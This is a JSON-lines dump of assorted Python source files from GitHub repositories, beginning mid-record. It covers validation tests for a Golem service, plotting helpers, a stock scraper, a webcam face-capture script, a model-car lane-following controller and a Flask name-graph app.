extra_data.pop(field_to_delete)\n\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_blender_script_parameters(extra_data)\n\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n assert_that(field_to_delete in exception_wrapper.value.error_message).is_true()\n assert_that(mocked_use_compositing_validator.called).is_false()\n assert_that(mocked_samples_validator.called).is_false()\n assert_that(mocked_crops_validator.called).is_false()\n assert_that(mocked_resolution_validator.called).is_false()\n\n\nclass TestValidateSubtaskResultsVerify:\n @pytest.fixture(autouse=True)\n def setUp(self):\n self.provider_private_key, self.provider_public_key = generate_ecc_key_pair()\n self.deposit_contract_address = '0xcfB81A6EE3ae6aD4Ac59ddD21fB4589055c13DaD'\n\n want_to_compute_task = WantToComputeTaskFactory(\n provider_public_key=encode_hex(self.provider_public_key)\n )\n arguments = {\n 'subtask_results_rejected__'\n 'report_computed_task__'\n 'task_to_compute__'\n 'want_to_compute_task': want_to_compute_task\n }\n self.subtask_results_verify: SubtaskResultsVerify = SubtaskResultsVerifyFactory(**arguments)\n\n def test_that_correct_signature_doesnt_raise_any_exception(self):\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n self.provider_private_key,\n )\n try:\n validate_subtask_results_verify(self.subtask_results_verify, self.deposit_contract_address)\n except Exception as exception: # pylint: disable=broad-except\n pytest.fail(f\"Unexpected exception has been raised: {exception}\")\n\n def test_that_incorrect_signature_raises_concent_validation_error(self):\n different_provider_private_key, _ = generate_ecc_key_pair()\n\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n different_provider_private_key,\n )\n with pytest.raises(ConcentValidationError):\n validate_subtask_results_verify(self.subtask_results_verify, self.deposit_contract_address)\n\n def test_that_wrong_deposit_address_raises_concent_validation_error(self):\n different_deposit_contract_address = '0x89915ddA14eFd6b064da953431E8b7f902d89c83'\n\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n self.provider_private_key,\n )\n with pytest.raises(ConcentValidationError):\n validate_subtask_results_verify(self.subtask_results_verify, different_deposit_contract_address)\n\n\nclass TestSubtaskResultsRejectedValidator:\n def test_that_no_reason_raise_validation_error(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected()\n with pytest.raises(GolemMessageValidationError):\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_verification_negative_reason_will_not_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.VerificationNegative)\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_force_resources_failure_and_force_get_task_result_failed_will_not_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.ForcedResourcesFailure)\n force_get_task_result_failed = ForceGetTaskResultFailed(task_to_compute=subtask_result_rejected.task_to_compute)\n subtask_result_rejected.force_get_task_result_failed = force_get_task_result_failed\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_force_resources_failure_and_without_force_get_task_result_failed_will_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.ForcedResourcesFailure)\n with pytest.raises(GolemMessageValidationError):\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n","repo_name":"golemfactory/concent","sub_path":"concent_api/core/tests/test_unit_validation.py","file_name":"test_unit_validation.py","file_ext":"py","file_size_in_byte":34435,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"}
+{"seq_id":"70555549191","text":"#!/usr/bin/env python3\n# pp_h5dat.py\n\nimport os\nimport sys\nimport numpy as np\nimport h5py\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors as mcolors\nfrom pp_h5dat import H5Plot\nfrom pp_h5dat import mkdirs_if_nexist\n\n\n\nclass Colors:\n def __init__(self):\n self.__colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)\n\n def get_names_hsv_sorted(self):\n # Sort colors by hue, saturation, value and name.\n return [name for hsv, name in \n sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgba(color)[:3])), name)\n for name, color in self.__colors.items())]\n\n def get_names_alpha_sorted(self):\n return sorted(self.__colors.keys())\n\n def get(self,arg):\n if isinstance(arg, int):\n rcol = list(self.__colors)[arg]\n elif isinstance(arg, str):\n if arg in self.__colors.keys():\n rcol = self.__colors[arg]\n else:\n rcol = (0,0,0)\n print(\"Error: color %s does not exist!\" % arg)\n else:\n rcol = (0,0,0)\n print(\"Error: color does not exist!\")\n return rcol\n\n\n def show_palette(self):\n n = len(self.get_names_hsv_sorted())\n ncols = 4\n nrows = n // ncols + 1\n\n fig, ax = plt.subplots(figsize=(8, 5))\n\n # Get height and width\n X, Y = fig.get_dpi() * fig.get_size_inches()\n h = Y / (nrows + 1)\n w = X / ncols\n\n for i, name in enumerate(self.get_names_hsv_sorted()):\n col = i % ncols\n row = i // ncols\n y = Y - (row * h) - h\n\n xi_line = w * (col + 0.05)\n xf_line = w * (col + 0.25)\n xi_text = w * (col + 0.3)\n\n ax.text(xi_text, y, name, fontsize=(h * 0.8),\n horizontalalignment='left',\n verticalalignment='center')\n\n ax.hlines(y + h * 0.1, xi_line, xf_line,\n color=self.__colors[name], linewidth=(h * 0.6))\n\n ax.set_xlim(0, X)\n ax.set_ylim(0, Y)\n ax.set_axis_off()\n\n fig.subplots_adjust(left=0, right=1,\n top=1, bottom=0,\n hspace=0, wspace=0)\n plt.show()\n\n\ndef saveas_eps_pdf(fig, savepath, savename, h5plot=True, verbose=True, fformat='pdf', transparent=True):\n\n fformat_list = ['eps','pdf']\n\n if fformat not in fformat_list:\n print(\"Error: fformat must be one of: \" + fformat_list)\n\n if savepath != None:\n if savepath == '':\n savepath = '.'\n else:\n mkdirs_if_nexist(savepath)\n fig.savefig( savepath + '/' + savename + '.' + fformat,\n format=fformat, transparent=transparent)\n \n if verbose: \n sys.stdout.write('Saved \"%s.%s\" at: %s/\\n' % (savename, fformat, savepath))\n sys.stdout.flush()\n\n if h5plot: \n h5lp = H5Plot()\n h5lp.inherit_matplotlib_line_plots(plt.gca()) \n h5lp.write(savepath + '/' + savename + '.h5')\n\n if verbose: \n sys.stdout.write('Saved \"%s.h5\" at: %s/\\n' % (savename, savepath))\n sys.stdout.flush() \n\n\ndef saveas_png(fig, savepath, savename, verbose=True, dpi=600):\n\n fformat = 'png'\n if savepath != None: \n mkdirs_if_nexist(savepath)\n fig.savefig( savepath + '/' + savename + '.' + fformat,\n format=fformat,\n dpi=dpi) \n \n if verbose: \n sys.stdout.write('Saved \"%s.%s\" at: %s/\\n' % (savename, fformat, savepath))\n sys.stdout.flush() \n\n","repo_name":"TMehrl/picpy","sub_path":"inc/pp_plt_tools.py","file_name":"pp_plt_tools.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"22214749609","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n# author:apple\n# datetime:18/10/30 上午12:34\n# software: PyCharm\n\nfrom .sympy_com import *\n\n\nclass ProofAnw(ComAnw):\n split_str = []\n\n def __init__(self, draft, express_1, express_2, final):\n super(ProofAnw, self).__init__(draft, express_1, express_2, final)\n\n def splitting(self):\n self.draft = self.draft.replace(\"\\\\operatorname { sin }\", \"\\\\sin\")\n self.draft = self.draft.replace(\"\\\\left. \\\\begin{array} { l } \", ' ')\n self.draft = self.draft.replace(\"\\\\end{array} \\\\right.\", ' ')\n self.step = re.split(r\"\\\\\\\\\", self.draft)\n print(self.step)\n self.separate = self.step\n for ne in self.separate:\n lin = re.split(r\"=\", ne)\n self.split_str.append(lin[-1])\n print(self.split_str)\n\n def grade(self):\n return super(ProofAnw, self).grade()\n\n\nif __name__ == \"__main__\":\n ProofAnw()\n","repo_name":"esmeetu/correctpaper","sub_path":"project_29/sympy_proof.py","file_name":"sympy_proof.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"19117725807","text":"import os.path\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom background_task import background\nfrom django.utils import timezone\nfrom stocks_tracker.models import Stock\nfrom .yahoo_financial_stock import YahooFinancialStock\n\nglobal_stocks_dict = {} # The keys are stock symbols and the values are: YahooFinancialStock objects.\n\n\ndef set_stock_data(stock, yahoo_stock_object):\n stock.target_avg_sales = yahoo_stock_object.target_avg_sales\n stock.target_avg_eps = yahoo_stock_object.target_avg_eps\n stock.target_sales_growth = yahoo_stock_object.target_sales_growth\n stock.is_yahoo_scrapper_succeeded = True\n\n\ndef reset_stock_data(stock):\n stock.target_sales_growth = stock.target_avg_eps = stock.target_avg_sales = None\n\n\ndef update_new_stock(stock, stock_symbol, stock_name):\n stock.symbol = stock_symbol\n stock.name = stock_name\n\n\ndef reset_existed_stock_attributes(stock):\n stock.pivot = stock.is_accelerated = stock.is_eps_growth = stock.is_technically_valid = stock.is_breakout = \\\n stock.price_to_sell = None\n\n\ndef update_stock_fields_after_scrapper(stock, stock_symbol, stock_name, yahoo_stock_object):\n reset_stock_data(stock)\n stock.last_scrapper_update = timezone.now()\n\n if not stock.symbol:\n update_new_stock(stock, stock_symbol, stock_name)\n else:\n reset_existed_stock_attributes(stock)\n\n if yahoo_stock_object is not None:\n set_stock_data(stock, yahoo_stock_object)\n else:\n stock.is_scrapper_succeeded = False\n\n\ndef get_stock(symbol):\n stock = Stock() if len(Stock.objects.filter(symbol=symbol)) == 0 else Stock.objects.get(symbol=symbol)\n return stock\n\n\ndef write_to_db(stock_key, yahoo_stock_object):\n stock_symbol = stock_key.split()[0]\n try:\n stock_name = stock_key.split()[1]\n stock = get_stock(stock_symbol)\n update_stock_fields_after_scrapper(stock, stock_symbol, stock_name, yahoo_stock_object)\n stock.save()\n except Exception as e:\n print(f'Failed to save stock {stock_symbol} in the DB after scrapper run: {str(e)}')\n\n\ndef write_stocks_to_db():\n for stock_key in global_stocks_dict:\n write_to_db(stock_key, global_stocks_dict[stock_key])\n\n\ndef get_yahoo_stock_object(stock_symbol):\n stock = YahooFinancialStock(stock_symbol)\n return stock\n\n\ndef run_yahoo_stock_scrapper(stock_key):\n try:\n yahoo_stock_object = get_yahoo_stock_object(stock_key.split()[0])\n global_stocks_dict[stock_key] = yahoo_stock_object\n except:\n global_stocks_dict[stock_key] = None\n\n\ndef iterate_over_all_stock(all_stocks):\n global global_stocks_dict\n start = time.time()\n maximum_threads = 200\n timeout_between_threads_creation = 0.02\n pool = ThreadPoolExecutor(max_workers=maximum_threads)\n\n for stock_key in all_stocks:\n try:\n stock_symbol = stock_key.split()[0]\n print(stock_symbol) # print stock symbol\n pool.submit(run_yahoo_stock_scrapper, stock_key)\n time.sleep(timeout_between_threads_creation)\n except:\n pass\n\n pool.shutdown(wait=True)\n end = time.time()\n print(f'Running all threads took {round(end - start, 2)} seconds')\n\n\ndef get_all_stocks_list():\n all_stocks_file = 'all_stocks.txt'\n all_stocks_file_full_path = f'{os.path.dirname(os.path.realpath(__file__))}\\\\{all_stocks_file}'\n if not os.path.exists(all_stocks_file_full_path):\n return None\n\n stock_name_invalid_suffix = ['-', '.']\n stocks_list = []\n\n with open(all_stocks_file_full_path, 'r') as all_stocks:\n for stock_line in all_stocks:\n stock_symbol_and_name = stock_line.split()\n if len(stock_symbol_and_name) == 2:\n stock_symbol = stock_symbol_and_name[0]\n stock_name = stock_symbol_and_name[1]\n if stock_name[-1] in stock_name_invalid_suffix:\n stock_name = stock_name[:-1]\n stocks_list.append(f'{stock_symbol} {stock_name}')\n\n return stocks_list\n\n\n@background()\ndef yahoo_scrapper_main():\n print('Started yahoo_scrapper_main')\n all_stocks_list = get_all_stocks_list()\n iterate_over_all_stock(all_stocks_list)\n write_stocks_to_db()\n print('Finished yahoo_scrapper_main')\n","repo_name":"ShaharLer/Super-Performance-Stocks","sub_path":"stocks_tracker/utils/scrapper/yahoo_scrapper.py","file_name":"yahoo_scrapper.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"19387570464","text":"import multiprocessing as mp\nimport threading\nimport random\nimport time\nfrom engine import Engine\n\nfrom event_processes import EventProcess\nfrom scheduler.scheduler import Scheduler\nfrom scheduler.graph import Graph\n\n\ndef main():\n\n e_to_s_recv, e_to_s_send = mp.Pipe(False)\n s_to_e_recv, s_to_e_send = mp.Pipe(False)\n g_to_e_recv, g_to_e_send = mp.Pipe(False)\n\n\n graph = Graph()\n graph.init_file(\"./pickles/graph.pypkle\")\n # pickup_dist, dropoff_dist = generateDistributions()\n\n # start the engine\n engine = Engine(pipe_recv_from_scheduler = s_to_e_recv, pipe_recv_from_gen = g_to_e_recv, pipe_send_to_scheduler = e_to_s_send)\n engine.start()\n\n scheduler = Scheduler(pipe_send_to_engine=s_to_e_send, pipe_recv_from_engine=e_to_s_recv, graph=graph)\n scheduler.start()\n\n\n processes = [EventProcess(g_to_e_send, i, graph) for i in range(1)]\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n engine.join()\n scheduler.join()\n\nif __name__==\"__main__\":\n main()\n","repo_name":"sidharth-potdar/dynamic-bus","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"41237270131","text":"import re\nfrom util import *\nfrom operation import Operation, OperationResult\n\nclass Replacement:\n\tdef __init__(self, regex, substitution):\n\t\tself.regex = regex\n\t\tself.substitution = substitution\n\nclass MinifyOperation(Operation):\n\tdef __init__(self):\n\t\tself.inMultilineComment = False\n\t\tpass\n\n\tdef apply(self, line, state):\n\t\tresult = OperationResult(line, False)\n\n\t\tif not state.args.minify:\n\t\t\treturn result\t\n\n\t\tl = stripComments(line)\n\t\tstrings = scanForStrings(l)\n\t\tcommentStart = len(l)\n\n\t\tstringRegex = r'((\"[^\"]+\")|(|[^\"]*?)([^\\s]*?))?'\n\t\tcomments = r'(?P(|(\\'|//)*$))'\n\n\t\tdef string(s):\n\t\t\tif not s:\n\t\t\t\treturn \"\"\n\t\t\treturn s\n\t\t\n\t\tdef replace(m, group):\n\t\t\tif checkIfInsideString(m.start(group), strings):\n\t\t\t\treturn string(m.group(0)) \n\t\t\treturn string(m.group(1)) + string(m.group(group))\n\t\t\n\t\tops = []\n\t\tops.append(Replacement(re.compile(r'' + stringRegex + '\\s*(?P[=+\\-*/\\><,\\^]{1,2})\\s*'), lambda m: replace(m, \"op\")))\n\t\tops.append(Replacement(re.compile(r'' + stringRegex + r'(?<=\\D)(0)(?P\\.\\d+)'), lambda m: replace(m, \"digit\") ))\n\n\t\t#l = l.lstrip(\"\\t\")\n\n\t\tfor o in ops:\n\t\t\tl = o.regex.sub(o.substitution, l)\n\t\t\t\t\n\t\tl = l.rstrip(\"\\r\\n\")\n\t\tresult.line = strInsert(result.line, 0, commentStart-1, l)\n\n\t\treturn result\n\n","repo_name":"seece/cbpp","sub_path":"minifyoperation.py","file_name":"minifyoperation.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"13720585029","text":"import os\nimport numpy as np\nimport cv2 as cv\n\ndef Take_Photo():\n dataset_path = os.path.curdir + '/' + 'att_faces_jpg/'\n if False == os.path.exists(dataset_path):\n os.mkdir(dataset_path)\n\n print('Do you want take your photo into face database? (Y or N)')\n choice = input();\n if choice.upper() == 'N':\n return;\n\n # find existing person number\n nPerson = 1\n for item in os.listdir(dataset_path):\n itempath = os.path.join(dataset_path, item)\n if os.path.isdir(itempath):\n nPerson += 1\n\n save_dir = os.path.join(dataset_path, 's' + '{0:0>2}'.format(nPerson))\n if False == os.path.exists(save_dir):\n os.mkdir(save_dir)\n\n # Take my photos\n cap = cv.VideoCapture(0)\n cv.namedWindow('My Face')\n # use opencv pre-trianed xml\n facexml = 'D:/Program Files (x86)/Microsoft Visual Studio/Shared/Python36_64/Lib/site-packages/cv2/data/haarcascade_frontalface_default.xml'\n eyexml = 'D:/Program Files (x86)/Microsoft Visual Studio/Shared/Python36_64/Lib/site-packages/cv2/data/haarcascade_eye.xml'\n face_cascade = cv.CascadeClassifier(facexml)\n eye_cascade = cv.CascadeClassifier(eyexml)\n\n nNum = 10 # 10 photos for each person\n i = 1\n while True:\n ret, frame = cap.read()\n cv.imshow('My Face', frame)\n\n key = cv.waitKey(200)\n if key == 0x0D:\n # get my face ROI\n gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n gray = cv.equalizeHist(gray)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n frame_tp = np.zeros(frame.shape, np.uint8)\n frame_tp = frame.copy()\n for (x,y,w,h) in faces:\n cv.rectangle(frame_tp, (x,y), (x + w,y + h), (0,255,0), 2)\n roiGray = gray[y:y + h, x:x + w]\n roiColor = frame[y:y + h, x:x + w]\n cv.imshow('My Face', frame_tp)\n # save face to local file\n if len(faces) > 0:\n (x,y,w,h) = faces[0]\n face = frame[y:y + h,x:x + w]\n cv.imshow('My Face', face)\n face = cv.resize(face, (92,112)) # resize same size with dataset\n savefile = save_dir + '/' + '{0:0>2}'.format(i) + '.jpg'\n if os.path.exists(savefile):\n os.remove(savefile)\n cv.imwrite(savefile, face)\n i += 1\n else:\n print('no face detected...')\n if nNum < i:\n print('Take photo done...')\n break\n \n # Esc to break\n elif key == 0x1B:\n print('quit take photo')\n break;\n\n cap.release()\n cv.destroyAllWindows()\n# function Take_Photo end\n","repo_name":"haoxinqing/FaceDemo","sub_path":"FaceDemo/TakePhoto.py","file_name":"TakePhoto.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"71205569673","text":"# Isaac Li\n# 8.31.2018\n\nimport os\nimport cv2\nimport time\nimport socket\nimport numpy as np\nfrom PIL import Image\nfrom sklearn.linear_model import LinearRegression\n\n\nclass Control(object):\n def __init__(self):\n self.data = ''\n self.cap = cv2.VideoCapture(\"http://192.168.1.1:8080/?action=stream\")\n\n host, port = '192.168.1.1', 2001\n self.control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.control.connect((host, port))\n self.help = 'forward: \"FF000400FF\"' \\\n 'left: \"FF000100FF\"' \\\n 'right: \"FF000200FF\"' \\\n 'backward: \"FF000300FF\"' \\\n 'stop: \"FF000000FF\"' \\\n 'left_speed_slow: \"FF020125FF\" #最后两位数值表示速度，范围0-50' \\\n 'right_speed_slow: \"FF020150FF\"'\n\n def straight(self):\n forward = \"FF000400FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n forward_bytes = bytes.fromhex(forward)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(forward_bytes)\n except:\n print(\"error: straight\")\n\n def left(self):\n left = \"FF000100FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n left_bytes = bytes.fromhex(left)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(left_bytes)\n except:\n print(\"error: left\")\n\n def right(self):\n right = \"FF000200FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n right_bytes = bytes.fromhex(right)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(right_bytes)\n except:\n print(\"error: right\")\n\n def customize(self, left=50, right=50):\n forward = \"FF000400FF\"\n left_speed = f\"FF0201{left}FF\"\n right_speed = f\"FF0202{right}FF\"\n forward_bytes = bytes.fromhex(forward)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(forward_bytes)\n except:\n print(\"error: customize\")\n\n def stop(self):\n stop = \"FF000000FF\"\n stop_bytes = bytes.fromhex(stop)\n try:\n self.control.sendall(stop_bytes)\n except:\n print(\"error: stop\")\n\n def get_picture(self):\n while True:\n flag, frame = self.cap.read()\n if flag:\n break\n return cv2.flip(frame, 1)\n\n def finish(self):\n self.stop()\n self.cap.release()\n\n def end(self):\n self.finish()\n current_time = time.asctime().replace(':', '-').replace(' ', '_')\n with open(f'data_{current_time}.log', 'w') as file_object:\n file_object.write(self.data)\n\n\nprint(\"Set model car status:\\n\"\n \" 1. Car connected\\n\"\n \" 2. Car not connecting\\n\"\n \" default: [ 1 ]\")\ncar_status = input(' -> ')\n\nif car_status == '2':\n print(\"Set image filename:\\n\"\n \" default: [ x.jpg ]\")\n file = input(' -> ')\n if not file:\n file = 'x.jpg'\n status = False\nelse:\n status = True\n\nprint('\\n========================\\n\\n'\n 'Use Ctrl + C to stop.\\n')\n\ntry:\n while True:\n # ---------- Step 1. Preparation. ------------------------------------------------------------------------------\n\n initial = time.time()\n test_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + '.' + str(int(initial * 1000))[-3:]\n print(f\"{'-' * len(test_time)}\\n\\n{test_time}\\n\")\n\n if status:\n car = Control()\n image = cv2.flip(car.get_picture(), 1)\n else:\n image = cv2.imread(file)\n\n # ---------- Step 2. Color detection. --------------------------------------------------------------------------\n\n def color_detection(im_cv2, rgb_lower, rgb_upper, proportion):\n im = cv2.cvtColor(im_cv2, cv2.COLOR_BGR2RGB)\n im_pil = Image.fromarray(im)\n r_l, g_l, b_l = rgb_lower\n r_u, g_u, b_u = rgb_upper\n\n w, h = im_pil.size\n img_data = im_pil.getdata()\n\n counter = 0\n for _, r_g_b in enumerate(img_data):\n r_i, g_i, b_i = r_g_b\n if all([r_l < r_i < r_u,\n g_l < g_i < g_u,\n b_l < b_i < b_u]):\n counter += 1\n\n if counter > w * h * proportion:\n flag = True\n else:\n flag = False\n return flag\n\n orange = color_detection(image, [130, 60, 20], [170, 90, 40], 0.01)\n print('Color: orange{}Found.'.format(' ' if orange else ' not '))\n\n # ---------- Step 3. Line detection. ---------------------------------------------------------------------------\n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 100, 250)\n lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 25, minLineLength=100, maxLineGap=100)\n\n hough = np.zeros(image.shape, np.uint8)\n\n if lines is None:\n print('Line: Not found.')\n if status:\n car.straight()\n time.sleep(0.2)\n car.finish()\n continue\n else:\n break\n\n for line in lines:\n x1, y1, x2, y2 = line[0]\n width_of_line = 30 # The width of the redrawn line.\n cv2.line(hough, (x1, y1), (x2, y2), (255, 255, 255), width_of_line)\n\n img = Image.fromarray(np.uint8(hough))\n\n # ---------- Step 4. Crop the picture. -------------------------------------------------------------------------\n\n width, height = img.size\n x, y = [], []\n data = img.getdata()\n for s, rgb in enumerate(data):\n r, g, b = rgb\n if r == g == b == 255:\n yi, xi = divmod(s, width) # 这个是 <--( x > 0 )----.----( x < 0 )-->\n x.append([width/2 - xi]) # 坐标系 |\n y.append(yi) # 示意图 ( k > 0 ) y ( k < 0 )\n\n linear = LinearRegression()\n linear.fit(x, y)\n k, b = linear.coef_[0], linear.intercept_\n print(f'\\nk = {k:g}, b = {b:g}')\n\n if b >= 0:\n case = 'right' if k > 0 else 'left'\n else:\n case = 'straight'\n\n # ---------- Step 5. Data preserve. ----------------------------------------------------------------------------\n\n final = time.time()\n\n print(f\"\\nCase: {case}\"\n f\"\\nTime: {(final - initial)}\\n\")\n\n if status:\n car.data += f'{test_time} # {case:8s}, {final - initial} seconds.'\n\n # ---------- Step 6. Control. --------------------------------------------------------------------------\n\n \" 若返回值为 'straight' 则直行 \"\n \" 若返回值为 'left' 则左转 \"\n \" 若返回值为 'right' 则右转 \"\n\n if status:\n if case == 'straight':\n car.straight()\n elif case == 'left':\n car.left()\n elif case == 'right':\n car.right()\n else:\n car.stop()\n\n time.sleep(0.5)\n car.finish()\n else:\n break\n\nexcept KeyboardInterrupt:\n if status:\n car.end()\n print('Stopped.')\n os.system('pause')\n","repo_name":"bugstop/hitsz-eie-codes","sub_path":"Project2017/pack_0.5/v0.5.5.py","file_name":"v0.5.5.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"27"}
+{"seq_id":"32458455213","text":"from flask import Flask, render_template, request, jsonify\r\nimport csv\r\nimport io\r\nimport random\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nfrom difflib import SequenceMatcher\r\nimport random\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/grafo', methods=['POST'])\r\ndef generar_grafo():\r\n # Obtener la cantidad de nodos ingresada por el usuario\r\n cantidad_nodos = int(request.form['cantidad-nodos'])\r\n nombre_padre = request.form['nombre-padre']\r\n nombre_evitar = request.form['nombre-evitar']\r\n genero = request.form['genero']\r\n\r\n # Leer el archivo CSV\r\n with open('NationalNames.csv', 'r', encoding='utf-8') as file:\r\n csv_reader = csv.reader(file)\r\n next(csv_reader)\r\n\r\n # Crear el grafo y añadir los nodos\r\n grafo = nx.Graph()\r\n contador_nodos = 0\r\n for fila in csv_reader:\r\n nombre = fila[1]\r\n año = int(fila[2])\r\n cant_apariciones = int(fila[4])\r\n genero_nombre = fila[3]\r\n \r\n if genero == 'ambos' or (genero == 'hombre' and genero_nombre == 'M') or (genero == 'mujer' and genero_nombre == 'F'):\r\n if nombre_padre[-3:] in nombre and nombre_evitar[-3:] not in nombre:\r\n grafo.add_node(nombre, año=año, cant_apariciones=cant_apariciones)\r\n contador_nodos += 1\r\n if contador_nodos == cantidad_nodos:\r\n break\r\n\r\n # Calcular la similitud entre nodos y añadir aristas\r\n aristas = []\r\n for nodo1 in grafo.nodes:\r\n for nodo2 in grafo.nodes:\r\n if nodo1 != nodo2:\r\n similitud = calcular_similitud(nodo1, nodo2)\r\n año1 = grafo.nodes[nodo1]['año']\r\n año2 = grafo.nodes[nodo2]['año']\r\n cant_apariciones1 = grafo.nodes[nodo1]['cant_apariciones']\r\n cant_apariciones2 = grafo.nodes[nodo2]['cant_apariciones']\r\n\r\n if similitud > 0.28 and abs(año1 - año2) <= 10 and abs(cant_apariciones1 - cant_apariciones2) <= 1500:\r\n peso = similitud\r\n aristas.append((nodo1, nodo2, peso))\r\n\r\n grafo.add_weighted_edges_from(aristas)\r\n\r\n # Generar el grafo sin puentes\r\n grafo_sin_puentes = kruskal(grafo)\r\n\r\n # Eliminar el atributo de peso en las aristas\r\n for edge in grafo_sin_puentes.edges:\r\n grafo_sin_puentes.edges[edge].pop('weight', None)\r\n\r\n # Obtener nombres más populares\r\n nombres_populares = sorted(grafo.nodes(data=True), key=lambda x: x[1]['cant_apariciones'], reverse=True)[:10]\r\n nombres_populares = [(nombre[0], nombre[1]['cant_apariciones']) for nombre in nombres_populares]\r\n\r\n # Obtener nombres menos populares\r\n nombres_menos_populares = sorted(grafo.nodes(data=True), key=lambda x: x[1]['cant_apariciones'], reverse=False)[:10]\r\n nombres_menos_populares = [(nombre[0], nombre[1]['cant_apariciones']) for nombre in nombres_menos_populares]\r\n\r\n # Generar la imagen del grafo\r\n fig, ax = plt.subplots(figsize=(15, 15))\r\n posiciones = nx.kamada_kawai_layout(grafo_sin_puentes)\r\n nx.draw_networkx(grafo_sin_puentes, pos=posiciones, with_labels=True,\r\n node_size=100, node_color='orange', font_size=8, font_weight='normal',\r\n width=0.5, edge_color='gray', style='solid')\r\n plt.axis('off')\r\n plt.savefig('static/grafo.png')\r\n plt.close()\r\n\r\n # Devolver los nombres populares y la ruta de la imagen generada\r\n respuesta = {'nombres_populares': nombres_populares, 'imagen_grafo': 'static/grafo.png', 'nombres_menos_populares': nombres_menos_populares}\r\n return jsonify(respuesta)\r\n\r\ndef calcular_similitud(nombre1, nombre2):\r\n ultimos_caracteres1 = nombre1[-3:]\r\n ultimos_caracteres2 = nombre2[-3:]\r\n return SequenceMatcher(None, ultimos_caracteres1, ultimos_caracteres2).ratio()\r\n\r\ndef kruskal(grafo):\r\n aristas_ordenadas = sorted(grafo.edges(data=True), key=lambda x: x[2]['weight'])\r\n grafo_arbol = nx.Graph()\r\n\r\n for nodo in grafo.nodes:\r\n grafo_arbol.add_node(nodo)\r\n\r\n for arista in aristas_ordenadas:\r\n nodo1, nodo2, peso = arista\r\n if nx.has_path(grafo_arbol, nodo1, nodo2):\r\n continue\r\n grafo_arbol.add_edge(nodo1, nodo2, weight=peso)\r\n\r\n return grafo_arbol\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"LuVaAcAn/ComplejidadAlgoritmica","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
